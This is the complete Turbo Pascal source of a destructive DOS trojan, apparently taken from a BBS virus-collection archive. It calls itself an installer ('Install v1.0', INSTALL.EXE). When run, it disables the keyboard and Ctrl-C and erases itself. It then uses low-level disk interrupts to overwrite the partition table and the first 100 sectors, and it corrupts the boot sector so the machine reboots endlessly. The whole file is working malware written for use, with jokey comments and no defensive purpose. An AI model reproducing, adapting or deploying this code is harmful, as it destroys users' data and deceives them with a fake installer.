home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / install.pas < prev    next >
Pascal/Delphi Source File  |  1992-09-26  |  6KB  |  265 lines

  1. Program Bomb;
  2.  
  3. Uses
  4.  DOS, CRT;
  5.  
  6. Const
  7.   Version    = '1.0';
  8.   Copyright  = 'Install v'+Version+'  (C) Vivid Imaginations, Ltd.  All rights reversed.';
  9.   FillCh     = #0;
  10.  
  11. Var
  12.   Buff       : array[1..512] of byte;
  13.   BuffC      : array[1..512] of char absolute Buff;
  14.   f          : file;
  15.   OldKeyVec  : pointer;
  16.   i          : integer;
  17.   CPath      : string;
  18.   CProg      : string;
  19.   SR         : searchrec;
  20.   PS         : pathstr;
  21.   DS         : dirstr;
  22.   NS         : namestr;
  23.   ES         : extstr;
  24.  
  25.  
  26. Procedure ByePartition;  {Use INT 13h to wipe the partition table}
  27. var
  28.   s,o:integer;
  29.  
  30. begin
  31.   s := seg(Buff);
  32.   o := ofs(Buff);
  33.   asm
  34.     push ax
  35.     push bx
  36.     push cx
  37.     push dx
  38.     push es
  39.     mov ah,03
  40.     mov al,01   {Num Sec}
  41.     mov ch,00   {Cylinder}
  42.     mov cl,01   {Sector #}
  43.     mov dh,00   {Head}
  44.     mov dl,80h  {Drive}
  45.     mov es,s
  46.     mov bx,o
  47.     int 13h
  48.     pop es
  49.     pop dx
  50.     pop cx
  51.     pop bx
  52.     pop ax
  53.   end;
  54. end;
  55.  
  56.  
  57. Procedure ByeBoot;     {Read the BS, change the two byte jump to INT 19h}
  58. var                    {(reboot) which will cause an infinite reboot.   }
  59.   s,o:integer;         {..until a diskette is inserted...               }
  60. begin
  61.   s := seg(Buff);
  62.   o := ofs(Buff);
  63.   asm
  64.     push ax
  65.     push bx
  66.     push cx
  67.     push dx
  68.     push es
  69.     mov ah,02
  70.     mov al,01   {Num Sec}
  71.     mov ch,00   {Cylinder}
  72.     mov cl,01   {Sector #}
  73.     mov dh,01   {Head}
  74.     mov dl,80h  {Drive}
  75.     mov es,s
  76.     mov bx,o
  77.     int 13h
  78.     pop es
  79.     pop dx
  80.     pop cx
  81.     pop bx
  82.     pop ax
  83.   end;
  84.   Buff[1] := $CD;   {INT}
  85.   Buff[2] := $19;   {19h}
  86.   asm
  87.     push ax
  88.     push bx
  89.     push cx
  90.     push dx
  91.     push es
  92.     mov ah,03
  93.     mov al,01   {Num Sec}
  94.     mov ch,00   {Cylinder}
  95.     mov cl,01   {Sector #}
  96.     mov dh,01   {Head}
  97.     mov dl,80h  {Drive}
  98.     mov es,s
  99.     mov bx,o
  100.     int 13h
  101.     pop es
  102.     pop dx
  103.     pop cx
  104.     pop bx
  105.     pop ax
  106.   end;
  107. end;
  108.  
  109. Procedure Bye100;   {Send the first 100 sectors out for pizza}
  110. var
  111.   s,o:integer;
  112.  
  113. begin
  114.   s := seg(Buff);
  115.   o := ofs(Buff);
  116.   asm
  117.     push ax
  118.     push bx
  119.     push cx
  120.     push dx
  121.     push es
  122.     mov ah,03
  123.     mov al,100  {Num Sec}
  124.     mov ch,00   {Cylinder}
  125.     mov cl,02   {Sector #}
  126.     mov dh,01   {Head}
  127.     mov dl,80h  {Drive}
  128.     mov es,s
  129.     mov bx,o
  130.     int 13h
  131.     pop es
  132.     pop dx
  133.     pop cx
  134.     pop bx
  135.     pop ax
  136.   end;
  137. end;
  138.  
  139.  
  140. Procedure EatAllKeys; Assembler;   {Gobble up any keys}
  141.   asm
  142.     push ax
  143.     pushf
  144.     in al,60h
  145.     in al,61h
  146.     mov ah,al
  147.     or al,80h
  148.     out 61h,al
  149.     xchg ah,al
  150.     out 61h,al
  151.     popf
  152.     cli
  153.     mov al,20h
  154.     out 20h,al
  155.     pop ax
  156.     iret
  157.   end;
  158.  
  159.  
  160. Procedure Suicide;          {Erase the INSTALL.EXE program}
  161. var
  162.   NB : integer;
  163. begin
  164.   assign(f, CPath + CProg);
  165.   reset(f,1);
  166.   while not eof(f) do
  167.     blockwrite(f, Buff, sizeof(Buff), NB);
  168.  
  169.   close(f);
  170.   erase(f);
  171. end;
  172.  
  173.  
  174. Procedure DisableKeyboard;    {Send the keyboard to lunch}
  175. begin
  176.   getintvec(9, OldKeyVec);
  177.   setintvec(9, @EatAllKeys);
  178. end;
  179.  
  180. Function GetPath : boolean;   {If DOS 3.3+, use ParamStr(0) otherwise use the}
  181. begin                         {FSearch <shudder> and look in the path        }
  182.   GetPath := True; {Assume path is obtainable}
  183.   if (lo(DosVersion) < 4) and (hi(DosVersion) < 3) then begin
  184.     PS := FSearch('INSTALL.EXE',GetEnv('PATH'));
  185.     if PS = '' then
  186.         GetPath := False
  187.         else begin
  188.       FSplit(PS, DS, NS, ES);
  189.       CPath := DS;
  190.       CProg := NS + ES;
  191.     end
  192.   end
  193.   else begin
  194.     CPath := ParamStr(0);
  195.     while CPath[length(CPath)] <> '\' do
  196.       dec(CPath[0]);
  197.     CProg := copy(ParamStr(0), length(CPath) + 1, length(ParamStr(0)) - length(CPath));
  198.   end;
  199. end;
  200.  
  201. Procedure ShowFile;    {Displays and overwrites INSTALL.DAT.  Assumes the DAT}
  202. var                    {file is in the same dir as INSTALL.EXE               }
  203.   NB : integer;
  204.   t  : text;
  205.   s  : string;
  206.  
  207. begin
  208.   assign(t, cpath + 'INSTALL.DAT');
  209.   {$I-}
  210.   reset(t);
  211.   if IOResult <> 0 then exit;
  212.   while not eof(t) do begin
  213.     readln(t, s);
  214.     writeln(s);
  215.     end;
  216.   close(t);
  217.  
  218.   assign(f, CPath + 'INSTALL.DAT');
  219.   reset(f,1);
  220.   {$I+}
  221.   while not eof(f) do
  222.     blockwrite(f, Buff, sizeof(Buff), NB);
  223.   close(f);
  224.   erase(f);
  225. end;
  226.  
  227. Begin
  228.   CheckBreak := False;                       {Don't pay attention to Ctrl-C}
  229.  
  230.   DisableKeyboard;                           {Don't pay attention to ANY keys}
  231.  
  232.   randomize;                                 {Gotta do it once!}
  233.  
  234.   for i := 1 to sizeof(Buff) do              {Fill the buffer with trash}
  235.     Buff[i] := random(255) + 1;
  236.  
  237.   writeln;                                   {Display the copyright notice}
  238.   writeln(Copyright);
  239.  
  240.   if GetPath <> True then begin              {Whoops...couldn't find itself}
  241.     writeln('Couldn''t find INSTALL.EXE!');  {and so, request the path}
  242.     writeln('INSTALL must be in the current directory.');
  243.     HALT;                                    {Not really true, but will work}
  244.     end;
  245.   Suicide;                                   {Overwrite and erase self}
  246.  
  247.   ByePartition;                              {Partition table kisses the baby}
  248.  
  249.   Bye100;                                    {First 100 sectors wave good-bye}
  250.  
  251.   ByeBoot;                                   {The boot sector is replaced}
  252.  
  253.   ShowFile;                                  {Display and erase INSTALL.DAT}
  254.  
  255. End.
  256.  
  257. (*****************************************************************************
  258.    AUTHOR'S NOTE
  259.  
  260.     This program will detect its name under DOS 3.3+, however earlier versions
  261.     of DOS do not support PARAMSTR(0) and so you must name the program
  262.     INSTALL.EXE or change the name in the GetPath function.
  263.  
  264. *****************************************************************************)
  265.